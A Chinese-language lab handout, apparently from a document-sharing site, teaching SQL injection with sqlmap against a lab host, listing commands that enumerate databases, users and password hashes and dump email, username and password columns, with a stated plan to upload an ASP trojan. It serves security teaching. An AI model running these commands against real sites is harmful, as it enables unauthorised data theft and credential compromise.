实验三-渗透攻击工具 SQLMap
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
实验三渗透攻击工具测试(SQLMap)
一、注入简介
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以市面的防火墙都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,日前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。sqlmap的功能强大到让你惊叹,常规注入工具不能绕过的话,终极使用sqlmap会有意想不到的效果。
二、实验简介
总体思路:
·发现SQL注入位置;
·判断后台数据库类型;
·确定XP_CMDSHELL可执行情况
·发现WEB虚拟目录
·上传ASP木马;
·得到管理员权限;
三、测试
(一)检测注入点是否可用
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134"
参数:-u:指定注入点url
结果:
注入结果展示:
(1)注入参数id为GET注入,注入类型有四种分别为:boolean-based blind、error-based、stacked queries、inline query。
(2)web服务器系统为windows 2003 or XP
(3)web应用程序技术为:, Microsoft IIS 6.0
(4)数据库类型为:SQLSERVER 2000
其中图一有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:
[plain]view plain copy
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134" --batch
(二)暴库
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134" --dbs
参数:--dbs:dbs前面有两条杠,请看清楚。
结果:
结果显示该sqlserver中共包含7个可用的数据库。
(三)web当前使用的数据库
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134" --current-db
(四)web数据库使用账户
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134" --current-user
(五)列出sqlserver所有用户
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134" --users
(六)数据库账户与密码
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134" --passwords
(七)列出数据库中的表
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134" -D tourdata --tables
参数:
-D:指定数据库名称
--tables:列出表
结果:
结果体现共列出了34张表。
(八)列出表中字段
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134" -D tourdata -T userb --columns
参数:
-D:指定数据库名称
-T:指定要列出字段的表
--columns:指定列出字段
结果:
结果显示该userb表中包含了23条字段。
(九)暴字段内容
1.C:\Python27\sqlmap>python sqlmap.py -u "http://19
2.168.1.150
/products.asp?id=134" -D tourdata -T userb -C "email,User name,userpassword" --dump
参数:
-C :指定要暴的字段
--dump:将结果导出
结果: